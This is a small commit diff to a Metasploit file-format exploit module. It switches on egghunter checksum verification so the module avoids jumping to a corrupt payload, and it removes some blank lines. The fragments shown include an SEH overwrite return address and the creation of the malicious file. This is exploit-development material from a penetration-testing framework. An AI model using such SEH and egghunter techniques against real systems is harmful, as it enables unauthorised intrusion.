Verify checksum to avoid jumping to a corrupt payload
This commit is contained in:
@@ -68,10 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
eggoptions =
|
||||
{
|
||||
:checksum => false,
|
||||
:checksum => true,
|
||||
:eggtag => 'w00t'
|
||||
}
|
||||
|
||||
@@ -85,8 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
buffer << [target.ret].pack('V') # seh
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
file_create(buffer)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user